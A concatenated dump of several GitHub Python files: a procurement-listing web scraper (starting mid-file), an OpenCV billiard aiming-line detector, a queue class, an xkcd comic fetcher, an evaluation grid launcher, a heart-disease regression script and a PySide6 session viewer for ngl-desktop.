class_=resultDef)\n # Scraping title\n title = container.find(titleHTML, class_=titleDef)\n # Run an array through all of the scraped info\n for num in range(0, len(container_labels)):\n # If it has one tag we want to insert the item, then the sibiling items\n # found in the HTML.\n if(getScrapingCase(site) == 'OneTag'):\n insertIntoSQL(databaseName, jobNumber,\n container_labels[num].find(resultHTML, class_=resultDef).text,\n container_labels[num].find(resultHTML, class_=resultDef).next_sibling,\n site)\n # If it has two tags just submit the labels and results\n elif(getScrapingCase(site) == 'TwoTags'):\n insertIntoSQL(databaseName, jobNumber, container_labels[num].text,\n container_results[num].text, site)\n # Since RFPDB is hard coded, the list are strings, so no need for .text\n elif(getScrapingCase(site) == 'RFPDB'):\n insertIntoSQL(databaseName, jobNumber, container_labels[num],\n container_results[num], site)\n # Getting site and link based on the websites case.\n if(site == 'DASNY'):\n link = 'https://www.dasny.org' + title.find('a')['href']\n elif(site == 'RFPDB'):\n link = 'http://www.rfpdb.com' + container.find('a')['href']\n # With GOVUK we can also pull out the company and description doing hard\n # scraping and inserting it into table individually.\n elif(site == 'GOVUK'):\n link = title.find('a')['href']\n company = container.find('div',\n class_='search-result-sub-header wrap-text')\n insertIntoSQL(databaseName, jobNumber, 'Company:', company.text, site)\n if(container.find('span', class_='') is not None):\n insertIntoSQL(databaseName, jobNumber, 'Description:',\n container.find('span', class_='').text, site)\n # Insert URL and title if the url is seperate\n if(getURLCase(site) == 'seperateURL'):\n insertIntoSQL(databaseName, jobNumber, 'URL:', link, site)\n insertIntoSQL(databaseName, jobNumber, 'Title:', title.text, site)\n # If there is no URL just insert where the page we scraped\n elif(getURLCase(site) == 'noURL'):\n insertIntoSQL(databaseName, jobNumber, 'URL:',\n getURL(site, pageNumber), site)\n # For every job insert the time it was scraped\n insertIntoSQL(databaseName, jobNumber, 'dateInserted:',\n datetime.now().strftime('%m/%d/%Y %H:%M:%S'), site)\n\n\n# The function that does all the work. Site is the specific site to analyze,\n# database is the database you want to insert into, labelHTML, resultHTML, and\n# containerHTML are the kind of HTML element these objects are, their defs are\n# the classes of the HTML eleemnts. Number of pages and jobsPerPage are easy\ndef scrapeSite(site, labelHTML, resultHMTL, labelDef, resultDef,\n containerHTML, containerDef, titleHTML, titleDef, numberOfPages,\n jobsPerPage):\n # Get table names\n databases = getDatabase(site)\n # Finds last job number in database and adds one\n jobNumber = findLastJob(databases[0])+1\n # Start num is an array of urls\n startNum = calculatePageNumber(numberOfPages, jobsPerPage, site)\n # For loop that goes through the array. Basically allows us to run multiple\n # pages\n for start in startNum:\n # The job_containers is the HTML element that encompases every job.\n # Allows us to run multiple containers\n job_containers = getContainers(site, start, containerHTML, containerDef, labelHTML)\n # A for loop that goes through all of the containers and extracts the\n # info from the specific job. The way this is done will differ for each\n # website\n for container in job_containers:\n # Collecting the information from the container and inserting it\n # into the SQL server\n searchAndUpload(container, labelHTML, resultHMTL, titleHTML,\n labelDef, resultDef, titleDef, databases[0],\n jobNumber, start, site)\n # Incrase jobNumber as that is what is inserted into database\n jobNumber += 1\n print('Scraped: ' + site + \" - Page \" + start)\n print(site + ' Completed')\nscrapeSite('NYSCR', 'div', 'div', \"labelText\", \"resultText\",\n 'tr', 'r1', '', '', 2, 50)\nscrapeSite('DASNY', 'td', 'td', '', 'fieldValue',\n 'div', 'views-field views-field-nothing-1', 'div', 'rfp-bid-title',\n 2, 10)\nscrapeSite('GOVUK', 'div', 'strong', 'search-result-entry', '',\n 'div', 'search-result', 'div', 'search-result-header', 50, 20)\nRFPDBCategories = pd.read_sql_query('select * from RFPDBCategories_tbl', conn)\nfor index, row in RFPDBCategories.iterrows():\n scrapeSite('RFPDB', row[\"category\"], '', '', '',\n '', '', '', 'a', row[\"pageNumbers\"], 12)\n print('RFPDB - ' + row[\"category\"] + ' - completed.')\nprint('All sites scraped.')\nexecuteScriptsFromFile(\"C:\\\\Users\\\\whunter\\Documents\\\\GitHub\\\\AM-Automated-Oppurtinity-Capture\\\\SQL Scripts\\\\cleanRawSQL.sql\")\nprint('All tables cleaned.')\nprint('Master Function Complete.')\ncursor.close()\nconn.close()\n","repo_name":"wlhunter00/AM-Automated-Opportunity-Capture","sub_path":"RFPDB/RFPDB Web Scraping Attempt 2.py","file_name":"RFPDB Web Scraping Attempt 2.py","file_ext":"py","file_size_in_byte":13001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"71430309222","text":"import cv2\nimport numpy as np\nimport time\nimport numpy as np\nfrom PIL import ImageGrab\nfrom win32con import NULL\nfrom auto import *\n\n\nwhile True:\n # time.sleep(1)\n computer_prtsc('Screencap.png')\n if computer_if_matchImg('Screencap.png', 'oo.png'):\n # if 1 == 1:\n print('继续播放')\n # computer_matchImgClick('Screencap.png', 'oo.png')\n myx, myy = computer_matchImg_return_x_y('Screencap.png', 'oo.png')\n print(myx, myy)\n # myx, myy = 429.0, 562.0\n # time.sleep(0.2)\n img_full = ImageGrab.grab(bbox=(0, 0, 1920, 1080)) \n img_full = np.array(img_full.getdata(), np.uint8).reshape(img_full.size[1], img_full.size[0], 3)\n img = ImageGrab.grab(bbox=(float(myx) - 110.0, float(myy) - 110.0, float(myx) + 110.0, float(myy) + 110.0))\n img = np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3)\n\n # img = cv2.imread('pr4.jpg')\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n edges = cv2.Canny(gray,100,200,apertureSize = 3)\n # cv2.imshow('edges',edges)\n # cv2.waitKey(0)\n\n # 表示能组成一条直线的最少点的数量,点数量不足的直线将被抛弃\n # minLineLength = 57\n # 表示能被认为在一条直线上的亮点的最大距离。\n # maxLineGap = 2\n with open(\"minLineLength.txt\", \"r\") as f:\n data = f.readline()\n print(data)\n minLineLength = int(data)\n maxLineGap = 1\n lines = cv2.HoughLinesP(edges,1,np.pi/180,15,minLineLength=minLineLength,maxLineGap=maxLineGap)\n if lines is None:\n print('没有找到直线--------------------')\n else:\n for x in range(0, len(lines)):\n for x1,y1,x2,y2 in lines[x]:\n # 根据两点算出斜率,把线段延长成直线\n p1 = (x1, y1)\n p2 = (x2, y2)\n\n theta = np.arctan2(p1[1]-p2[1], p1[0]-p2[0])\n endpt_x = int(p1[0] - 1000*np.cos(theta))\n endpt_y = int(p1[1] - 1000*np.sin(theta))\n\n start_x = int(p1[0] + 1000*np.cos(theta)) \n start_y = int(p1[1] + 1000*np.sin(theta))\n\n # img = np.zeros_like(img)\n\n cv2.line(img_full, \n (start_x + int(float(myx)) - 110, start_y + int(float(myy)) - 110), \n (endpt_x + int(float(myx)) - 110, endpt_y + int(float(myy)) - 110), \n (0,255,0),\n 2)\n # cv2.line(img, (start_x,start_y), (endpt_x, endpt_y), (0,255,0),2)\n # cv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)\n # \n filepath=\"1.png\"\n cv2.imwrite(filepath, img)\n filepath=\"11.png\"\n cv2.imwrite(filepath, img_full)\n else:\n print('no')\n\n\n\nwhile True:\n # time.sleep(0.2)\n img = ImageGrab.grab(bbox=(280, 404, 1305, 925))\n img = np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3)\n\n # img = cv2.imread('pr4.jpg')\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n edges = cv2.Canny(gray,100,200,apertureSize = 3)\n # cv2.imshow('edges',edges)\n # cv2.waitKey(0)\n\n # 表示能组成一条直线的最少点的数量,点数量不足的直线将被抛弃\n # minLineLength = 57\n # 表示能被认为在一条直线上的亮点的最大距离。\n # maxLineGap = 2\n with open(\"minLineLength.txt\", \"r\") as f:\n data = f.readline()\n print(data)\n minLineLength = int(data)\n maxLineGap = 2\n lines = cv2.HoughLinesP(edges,1,np.pi/180,15,minLineLength=minLineLength,maxLineGap=maxLineGap)\n for x in range(0, len(lines)):\n for x1,y1,x2,y2 in lines[x]:\n # 根据两点算出斜率,把线段延长成直线\n p1 = (x1, y1)\n p2 = (x2, y2)\n\n theta = np.arctan2(p1[1]-p2[1], p1[0]-p2[0])\n endpt_x = int(p1[0] - 1000*np.cos(theta))\n endpt_y = int(p1[1] - 1000*np.sin(theta))\n\n start_x = int(p1[0] + 1000*np.cos(theta)) \n start_y = int(p1[1] + 1000*np.sin(theta))\n\n # img = np.zeros_like(img)\n cv2.line(img, (start_x,start_y), (endpt_x, endpt_y), (0,255,0),2)\n # cv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)\n\n filepath=\"1.png\"\n\n cv2.imwrite(filepath, img)\n # cv2.imshow('hough',img)\n # cv2.waitKey(0)\n\n\n\n\n\n\n# #coding=utf-8\n# import cv2\n# import numpy as np \n \n# img = cv2.imread(\"pr1.jpg\", 0)\n \n# img = cv2.GaussianBlur(img,(3,3),0)\n# edges = cv2.Canny(img, 50, 300, apertureSize = 3)\n# lines = cv2.HoughLines(edges,0.9,np.pi/80,118) #这里对最后一个参数使用了经验型的值\n# result = img.copy()\n# for line in lines[0]:\n# \trho = line[0] #第一个元素是距离rho\n# \ttheta= line[1] #第二个元素是角度theta\n# \tprint(rho)\n# \tprint(theta)\n# \tif (theta < (np.pi/4. )) or (theta > (3.*np.pi/4.0)): #垂直直线\n# #该直线与第一行的交点\n# \t\tpt1 = (int(rho/np.cos(theta)),0)\n# \t\t#该直线与最后一行的焦点\n# \t\tpt2 = (int((rho-result.shape[0]*np.sin(theta))/np.cos(theta)),result.shape[0])\n# \t\t#绘制一条白线\n# \t\tcv2.line( result, pt1, pt2, (255))\n# \telse: #水平直线\n# \t\t# 该直线与第一列的交点\n# \t\tpt1 = (0,int(rho/np.sin(theta)))\n# \t\t#该直线与最后一列的交点\n# \t\tpt2 = (result.shape[1], int((rho-result.shape[1]*np.cos(theta))/np.sin(theta)))\n# \t\t#绘制一条直线\n# \t\tcv2.line(result, pt1, pt2, (255), 1)\n \n# cv2.imshow('Canny', edges )\n# cv2.imshow('Result', result)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n\n\n\n# #coding=utf-8\n# import cv2\n# import numpy as np \n \n# img = cv2.imread(\"pr.jpg\")\n \n# img = cv2.GaussianBlur(img,(3,3),0)\n# edges = cv2.Canny(img, 50, 150, apertureSize = 3)\n# lines = cv2.HoughLines(edges,1,np.pi/180,118)\n# result = img.copy()\n \n# #经验参数\n# minLineLength = 200\n# maxLineGap = 15\n# lines = cv2.HoughLinesP(edges,1,np.pi/180,80,minLineLength,maxLineGap)\n# for x1,y1,x2,y2 in lines[0]:\n# \tcv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)\n \n# cv2.imshow('Result', img)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n","repo_name":"dxp432/Billiard_aiming_longer_line","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6176,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"26364413608","text":"#encoding=utf-8\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n \nclass Queue:\n def __init__(self):\n self.first = None\n self.last = None\n self._size = 0\n\n def push(self, value):\n node = Node(value)\n if self.last == None:\n self.last = node\n else:\n self.last.next = node\n self.last = node\n if self.first == None: #Last and first are the same Node at the begin\n self.first = node\n self._size += 1\n\n def pop(self):\n if self.first != None:\n value = self.first.value\n self.first = self.first.next\n self._size -= 1\n return value\n else:\n raise IndexError(\"The queue is empty\")\n\n def peek(self):\n if self._size > 0:\n value = self.first.value\n return value\n else:\n raise IndexError(\"The stack is empty\")\n\n def __len__(self): \n return self._size\n\n def __repr__(self):\n if self._size > 0:\n r = \"\"\n pointer = self.first\n while pointer:\n r = r + str(pointer.value) + \" \"\n pointer = pointer.next\n return r\n return \"Empty queue\"\n\n def __str__(self):\n return self.__repr__()\n\n\nif __name__ == \"__main__\":\n queueList = Queue()\n queueList.push(2)\n queueList.push(\"mahoe\")\n queueList.push(\"batata\")\n queueList.push(3)\n\n print(\"size = {}\".format(len(queueList)))\n print(\"queue = \\n{}\".format(queueList))\n queueList.pop()\n queueList.push(6)\n print(\"queue = \\n{}\".format(queueList))","repo_name":"FredericoBender/data-structures-and-advanced-algorithms","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"7201795232","text":"import logging\r\nimport os\r\nimport random\r\nimport re\r\n\r\nfrom aiohttp_client_cache import CachedSession, SQLiteBackend\r\nfrom bs4 import BeautifulSoup\r\n\r\nlogging.basicConfig(\r\n level=logging.DEBUG,\r\n format='[%(asctime)s] {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s',\r\n handlers=[logging.FileHandler('xkcd_base.log'), logging.StreamHandler()],\r\n)\r\nlogger = logging.getLogger(__name__)\r\n\r\nfor p in ['asyncio', 'aiosqlite', 'aiohttp_client_cache']:\r\n logging.getLogger(p).setLevel(logging.WARNING)\r\n\r\n\r\nXKCD_BASE = 'https://xkcd.com/'\r\nXKCD_INFO = 'https://xkcd.com/{}/info.0.json'\r\nEXPLAIN_BASE = 'https://www.explainxkcd.com/wiki/index.php/'\r\nIRREGULAR_COMICS = [404, 961, 1037, 1116, 1264, 1350, 1416, 1608, 1663, 2198]\r\n\r\n\r\nasync def get_latest_comic_id(session: CachedSession) -> int:\r\n async with session.get(XKCD_BASE) as r:\r\n html = await r.text()\r\n soup = BeautifulSoup(html, 'html.parser')\r\n prev_link = soup.select('.comicNav > li:nth-child(2) > a')[0]\r\n prev = prev_link.attrs['href'].strip('/')\r\n latest = int(prev) + 1\r\n logger.debug(f'Latest comic: {latest}')\r\n return latest\r\n\r\n\r\nasync def get_random_comic_id(latest_comic_id: int) -> int:\r\n random_id = random.randrange(1, latest_comic_id + 1)\r\n if random_id in IRREGULAR_COMICS:\r\n random_id = random.randrange(1, latest_comic_id + 1)\r\n logger.debug(f'Random comic id: {random_id}')\r\n return random_id\r\n\r\n\r\nasync def explain(comic_id):\r\n cache = SQLiteBackend(cache_name='xkcd', expire_after=-1)\r\n session = CachedSession(cache=cache)\r\n explink = f'{EXPLAIN_BASE}{comic_id}'\r\n\r\n r = await session.get(explink)\r\n page = await r.text()\r\n await session.close()\r\n\r\n expl_pattern = re.compile(\r\n r'(

    Explanation.+?<\\/h2>)([\\w\\W]+?)

    '\r\n )\r\n match = expl_pattern.search(page)\r\n if match:\r\n raw_explanation = match.group(2)\r\n soup = BeautifulSoup(raw_explanation, 'html.parser')\r\n explanation = soup.get_text().replace('\\n', '\\n\\n').lstrip()\r\n return (\r\n f'Explaining {comic_id}:\\n{explanation[:1000]}...\\n{explink}'\r\n )\r\n return f'Comic {comic_id} unexplainable!'\r\n\r\n\r\nasync def get_comic(latest=False):\r\n cache = SQLiteBackend(cache_name='xkcd', expire_after=-1)\r\n session = CachedSession(cache=cache)\r\n latest_comic_id = await get_latest_comic_id(session)\r\n\r\n if latest:\r\n comic_id = latest_comic_id\r\n else:\r\n comic_id = await get_random_comic_id(latest_comic_id)\r\n comic_info_url = XKCD_INFO.format(comic_id)\r\n\r\n r = await session.get(comic_info_url)\r\n info = await r.json()\r\n\r\n comic_url = info.get('img')\r\n comic_url_2x = '_2x'.join(os.path.splitext(comic_url))\r\n\r\n r = await session.get(comic_url_2x)\r\n if r.status != 200:\r\n r = await session.get(comic_url)\r\n comic_bytes = await r.read()\r\n\r\n await session.close()\r\n\r\n comic = {\r\n 'id': comic_id,\r\n 'bytes': comic_bytes,\r\n 'name': info.get('safe_title'),\r\n 'alt': info.get('alt'),\r\n }\r\n logger.debug(f\"Fetched data for {comic_id}: image - {bool(comic['bytes'])}\")\r\n\r\n return comic\r\n","repo_name":"tvey/tiny-projects","sub_path":"xkcd_explainer/xkcd_base.py","file_name":"xkcd_base.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"11228582540","text":"import logging\nimport fire\nimport subprocess as sp\nimport os \nfrom tqdm.auto import tqdm\n\nsuffixes = [('salience', 't5'), ('salience', 'sentence'), ('position', 'position')]\n\ndef main(script_name : str, inject_store : str, rank_store : str, out_dir : str):\n njobs = len(suffixes)\n pbar = tqdm(total=njobs)\n for type, suffix in suffixes:\n args = ['python', script_name]\n args.extend(\n [\n '-ctxsource',\n os.path.join(inject_store, f'context.{suffix}.tsv'),\n '-staticsource',\n os.path.join(inject_store, f'static.{suffix}.tsv'),\n '-full_path',\n rank_store,\n '-embedding_model',\n 'nq-distilbert-base-v1',\n '-type',\n type,\n '-qrels',\n 'msmarco-passage/trec-dl-2019/judged',\n '-sink',\n os.path.join(out_dir, f'semantic.{suffix}.csv')\n ]\n )\n sp.run(args)\n pbar.update(1)\nif __name__=='__main__':\n logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)\n fire.Fire(main)","repo_name":"Parry-Parry/AdversarialContext","sub_path":"adversarialctx/generation/eval/grid_semantic.py","file_name":"grid_semantic.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"44935353250","text":"\n# coding: utf-8\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\n\ntrain_values = pd.read_csv(\"C:\\\\Users\\\\Ayush\\\\Desktop\\\\Data\\\\heart\\\\train_values.csv\")\ntrain_labels = pd.read_csv(\"C:\\\\Users\\\\Ayush\\\\Desktop\\\\Data\\\\heart\\\\train_labels.csv\")\ntest_values = pd.read_csv(\"C:\\\\Users\\\\Ayush\\\\Desktop\\\\Data\\\\heart\\\\test_values.csv\")\n\n\n# In[3]:\n\n\ntrain_labels.head()\n\n\n# In[142]:\n\n\na = train_values['patient_id'].unique()\na = list(a)\n\n\n# In[143]:\n\n\nfor i in range(0,len(a)):\n if train_values['patient_id'][i] in a:\n train_values['patient_id'][i] = str(a.index(train_values['patient_id'][i])) \n\n\n# In[144]:\n\n\nb = test_values['patient_id'].unique()\nb = list(b)\n\n\n# In[145]:\n\n\nfor i in range(0,len(b)):\n if test_values['patient_id'][i] in b:\n test_values['patient_id'][i] = str(b.index(test_values['patient_id'][i])) \n\n\n# In[146]:\n\n\nc = train_values['thal'].unique()\nc = list(c)\n\n\n# In[147]:\n\n\nfor i in range(0,180):\n if train_values['thal'][i] in c:\n train_values['thal'][i] = (c.index(train_values['thal'][i])) \n\n\n# In[148]:\n\n\nd = test_values['thal'].unique()\nd = list(d)\n\n\n# In[149]:\n\n\nfor i in range(0,90):\n if test_values['thal'][i] in d:\n test_values['thal'][i] = (d.index(test_values['thal'][i])) \n\n\n# In[150]:\n\n\ntrain_labels = pd.DataFrame(train_labels['heart_disease_present'])\n\n\n# In[151]:\n\n\ntrain_values.head()\n\n\n# In[152]:\n\n\ndef outlier25(a):\n b = np.array(a)\n b = np.percentile(b, 25)\n return b\ndef outlier75(a):\n b = np.array(a)\n b = np.percentile(b, 75)\n return b\ndef remove_outlier(a):\n outlier_index = []\n for i in range(0,len(a)):\n IQR = outlier75(a) - outlier25(a)\n if a[i] > outlier75(a)+1.5*IQR or a[i] < outlier25(a)-1.5*IQR:\n outlier_index.append(i)\n\n\n# In[153]:\n\n\nl = list(train_values)\nprint(l)\nfor i in range(1,len(l)):\n remove_outlier(train_values[str(l[i])])\n\n\n# In[154]:\n\n\nprint(outlier_index)\n#No outlier present in the entire data\n\n\n# In[155]:\n\n\nfrom sklearn import preprocessing\nx = train_values.values #returns a numpy array\nmin_max_scaler = preprocessing.MinMaxScaler()\nx_scaled = min_max_scaler.fit_transform(x)\ntrain_values = pd.DataFrame(x_scaled)\ntrain_values.head()\n\n\n# In[156]:\n\n\nfrom sklearn import preprocessing\ny = test_values.values #returns a numpy array\nmin_max_scaler = preprocessing.MinMaxScaler()\ny_scaled = min_max_scaler.fit_transform(y)\ntest_values = pd.DataFrame(y_scaled)\ntest_values.head()\n\n\n# In[157]:\n\n\nfor i in range(0,14):\n std = train_values[i].values.std()\n mean = train_values[i].values.mean()\n for j in range(0,len(train_values[i])):\n train_values[i][j] = (train_values[i][j] - mean) / std\ntrain_values.head()\n\n\n# In[158]:\n\n\nfor i in range(0,14):\n std = test_values[i].values.std()\n mean = test_values[i].values.mean()\n for j in range(0,len(test_values[i])):\n test_values[i][j] = (test_values[i][j] - mean) / std\ntest_values.head()\n\n\n# In[159]:\n\n\nfrom sklearn.linear_model import LinearRegression\nclf = LinearRegression()\nclf.fit(train_values, train_labels)\n\n\n# In[160]:\n\n\ny = clf.predict(test_values)\ny = list(y)\n\n\n# In[161]:\n\n\ntest_values = pd.read_csv(\"C:\\\\Users\\\\Ayush\\\\Desktop\\\\Data\\\\heart\\\\test_values.csv\")\ntest_labels = pd.DataFrame(test_values['patient_id'])\ntest_labels['heart_disease_present'] = y\ntest_labels['heart_disease_present'] = test_labels['heart_disease_present'].astype(float)\ntest_labels.head()\n\n\n# In[162]:\n\n\ntest_labels.to_csv(\"C:\\\\Users\\\\Ayush\\\\Desktop\\\\Data\\\\heart\\\\result4.csv\", index=False)\n\n","repo_name":"akalla123/heart","sub_path":"heart.py","file_name":"heart.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35259756803","text":"import subprocess\n\nfrom PySide6 import QtCore, QtGui, QtWidgets\n\n\nclass _SpawnView(QtWidgets.QGroupBox):\n def __init__(self, config):\n QtWidgets.QGroupBox.__init__(self, \"Local ngl-desktop\")\n self._config = config\n\n all_loglevels = config.CHOICES[\"log_level\"]\n default_loglevel = config.get(\"log_level\")\n self._loglevel_cbbox = QtWidgets.QComboBox()\n for level in all_loglevels:\n self._loglevel_cbbox.addItem(level.title())\n log_level_idx = all_loglevels.index(default_loglevel)\n self._loglevel_cbbox.setCurrentIndex(log_level_idx)\n loglevel_lbl = QtWidgets.QLabel(\"Min log level:\")\n loglevel_hbox = QtWidgets.QHBoxLayout()\n loglevel_hbox.addWidget(loglevel_lbl)\n loglevel_hbox.addWidget(self._loglevel_cbbox)\n\n backend_names = {\n \"opengl\": \"OpenGL\",\n \"opengles\": \"OpenGL ES\",\n \"vulkan\": \"Vulkan\",\n \"metal\": \"Metal\",\n }\n all_backends = config.CHOICES[\"backend\"]\n default_backend = config.get(\"backend\")\n self._backend_cbbox = QtWidgets.QComboBox()\n for backend in all_backends:\n self._backend_cbbox.addItem(backend_names[backend])\n backend_idx = all_backends.index(default_backend)\n self._backend_cbbox.setCurrentIndex(backend_idx)\n backend_lbl = QtWidgets.QLabel(\"Backend:\")\n backend_hbox = QtWidgets.QHBoxLayout()\n backend_hbox.addWidget(backend_lbl)\n backend_hbox.addWidget(self._backend_cbbox)\n\n self._listen_text = QtWidgets.QLineEdit()\n self._listen_text.setText(\"localhost\")\n listen_lbl = QtWidgets.QLabel(\"Listening on:\")\n listen_hbox = QtWidgets.QHBoxLayout()\n listen_hbox.addWidget(listen_lbl)\n listen_hbox.addWidget(self._listen_text)\n\n self._port_spin = QtWidgets.QSpinBox()\n self._port_spin.setMinimum(1)\n self._port_spin.setMaximum(0xFFFF)\n self._port_spin.setValue(2345)\n port_lbl = QtWidgets.QLabel(\"Port:\")\n port_hbox = QtWidgets.QHBoxLayout()\n port_hbox.addWidget(port_lbl)\n port_hbox.addWidget(self._port_spin)\n\n self._spawn_btn = QtWidgets.QPushButton(\"Spawn ngl-desktop\")\n btn_hbox = QtWidgets.QHBoxLayout()\n btn_hbox.addStretch()\n btn_hbox.addWidget(self._spawn_btn)\n\n layout = QtWidgets.QFormLayout()\n layout.addRow(\"Min log level:\", self._loglevel_cbbox)\n layout.addRow(\"Backend:\", self._backend_cbbox)\n layout.addRow(\"Listening on:\", self._listen_text)\n layout.addRow(\"Port:\", self._port_spin)\n layout.addRow(btn_hbox)\n\n self.setLayout(layout)\n\n self._spawn_btn.clicked.connect(self._spawn)\n\n @QtCore.Slot()\n def _spawn(self):\n loglevel = self._config.CHOICES[\"log_level\"][self._loglevel_cbbox.currentIndex()]\n backend = self._config.CHOICES[\"backend\"][self._backend_cbbox.currentIndex()]\n samples = self._config.get(\"samples\")\n listen = self._listen_text.text()\n port = self._port_spin.value()\n subprocess.Popen(\n [\n # fmt: off\n \"ngl-desktop\",\n \"--host\", listen,\n \"--backend\", backend,\n \"--loglevel\", loglevel,\n \"--port\", str(port),\n \"--samples\", str(samples),\n # fmt: on\n ]\n )\n\n\nclass HooksView(QtWidgets.QWidget):\n # Associates the UI column labels with the data session keys\n _COLUMNS = (\n (\"Session\", \"sid\"),\n (\"Description\", \"desc\"),\n (\"Backend\", \"backend\"),\n (\"System\", \"system\"),\n (\"Status\", \"status\"),\n )\n\n def __init__(self, hooks_ctl, config=None):\n super().__init__()\n\n self._hooks_ctl = hooks_ctl\n\n self._model = QtGui.QStandardItemModel()\n\n self._view = QtWidgets.QTableView()\n self._view.setModel(self._model)\n self._view.setAlternatingRowColors(True)\n self._view.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)\n self._view.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers)\n self._view.setFocusPolicy(QtCore.Qt.FocusPolicy.NoFocus)\n self._view.verticalHeader().hide()\n self._view.clicked.connect(self._toggle_session)\n\n self._auto_refresh_btn = QtWidgets.QCheckBox(\"Automatic refresh\")\n self._auto_refresh_btn.setChecked(True)\n\n hbox = QtWidgets.QHBoxLayout()\n hbox.addStretch()\n hbox.addWidget(self._auto_refresh_btn)\n\n serial_layout = QtWidgets.QVBoxLayout(self)\n if config:\n spawn_view = _SpawnView(config)\n serial_layout.addWidget(spawn_view)\n serial_layout.addLayout(hbox)\n serial_layout.addWidget(self._view)\n\n self._auto_refresh_btn.clicked.connect(self._toggle_automatic_refresh)\n\n self._references = {}\n\n self._hooks_ctl.session_added.connect(self._add_session)\n self._hooks_ctl.session_removed.connect(self._remove_session)\n self._hooks_ctl.session_info_changed.connect(self._update_session_info)\n\n self._model.clear()\n labels = [label for label, _ in self._COLUMNS]\n self._model.setHorizontalHeaderLabels(labels)\n\n self._refresh_timer = QtCore.QTimer(self)\n self._refresh_timer.setInterval(500)\n self._refresh_timer.timeout.connect(self._refresh)\n self._refresh_timer.start()\n\n @QtCore.Slot(object)\n def _add_session(self, session):\n row = [QtGui.QStandardItem(session[key]) for _, key in self._COLUMNS]\n row[0].setCheckable(True)\n row[0].setCheckState(QtCore.Qt.Checked if session[\"enabled\"] else QtCore.Qt.Unchecked)\n\n self._model.appendRow(row)\n self._view.resizeColumnsToContents()\n\n def _get_row_from_session_id(self, session_id):\n for i in range(self._model.rowCount()):\n sid = self._model.item(i, 0)\n if sid.text() == session_id:\n return i\n return -1\n\n @QtCore.Slot(str)\n def _remove_session(self, session_id):\n row = self._get_row_from_session_id(session_id)\n if row == -1:\n return\n self._model.removeRows(row, 1)\n self._view.resizeColumnsToContents()\n\n @QtCore.Slot(object)\n def _update_session_info(self, session):\n session_id = session[\"sid\"]\n row = self._get_row_from_session_id(session_id)\n if row == -1:\n return\n for i, (_, key) in enumerate(self._COLUMNS):\n self._model.item(row, i).setText(session[key])\n self._view.resizeColumnsToContents()\n\n @QtCore.Slot(object)\n def _toggle_session(self, obj):\n item = self._model.item(obj.row(), 0)\n enabled = item.checkState() == QtCore.Qt.CheckState.Checked\n self._hooks_ctl.enable_session(item.text(), enabled)\n\n @QtCore.Slot()\n def _toggle_automatic_refresh(self):\n checked = self._auto_refresh_btn.isChecked()\n if checked:\n self._refresh_timer.start()\n else:\n self._refresh_timer.stop()\n\n @QtCore.Slot()\n def _refresh(self):\n self._hooks_ctl.refresh_sessions()\n\n\nif __name__ == \"__main__\":\n import random\n import string\n import sys\n\n from pynodegl_utils.hooks import HooksController\n\n class DummyHooksCaller:\n\n \"\"\"Fake hooks class generating fake sessions\"\"\"\n\n def __init__(self):\n self._backend = self._random_word()\n self._system = self._random_word()\n self._full_data = {}\n for data in self._get_random_data():\n self._full_data[data[\"sid\"]] = data\n\n def _get_random_data(self, n=10):\n for row in range(n):\n name = self._random_word()\n desc = self._random_desc()\n yield dict(sid=name, desc=desc, backend=self._backend, system=self._system)\n\n def _random_word(self, min_length=5, max_length=10):\n return \"\".join(\n random.choice(string.ascii_lowercase) for x in range(random.randint(min_length, max_length))\n ).title()\n\n def _random_desc(self, min_words=3, max_words=8):\n return \" \".join(self._random_word() for x in range(random.randint(min_words, max_words))).title()\n\n def get_sessions(self):\n keys = random.sample(list(self._full_data.keys()), random.randint(2, 8))\n return {key: self._full_data[key] for key in keys}\n\n def get_session_info(self, session_id):\n return self._full_data[session_id]\n\n class DummyWindow(QtWidgets.QWidget):\n\n \"\"\"Wrap the HooksView with an additional button to trigger a read of the data + status change\"\"\"\n\n def __init__(self):\n super().__init__()\n self._hooks_ctl = HooksController(None, DummyHooksCaller())\n self._hooks_view = HooksView(self._hooks_ctl)\n action_btn = QtWidgets.QPushButton(\"Refresh sessions\")\n action_btn.clicked.connect(self._refresh)\n layout = QtWidgets.QVBoxLayout()\n layout.addWidget(self._hooks_view)\n layout.addWidget(action_btn)\n self.setLayout(layout)\n\n @QtCore.Slot()\n def _refresh(self):\n self._hooks_ctl.refresh_sessions()\n\n @QtCore.Slot(QtGui.QCloseEvent)\n def closeEvent(self, close_event):\n self._hooks_ctl.stop_threads()\n super().closeEvent(close_event)\n\n app = QtWidgets.QApplication(sys.argv)\n window = DummyWindow()\n window.show()\n 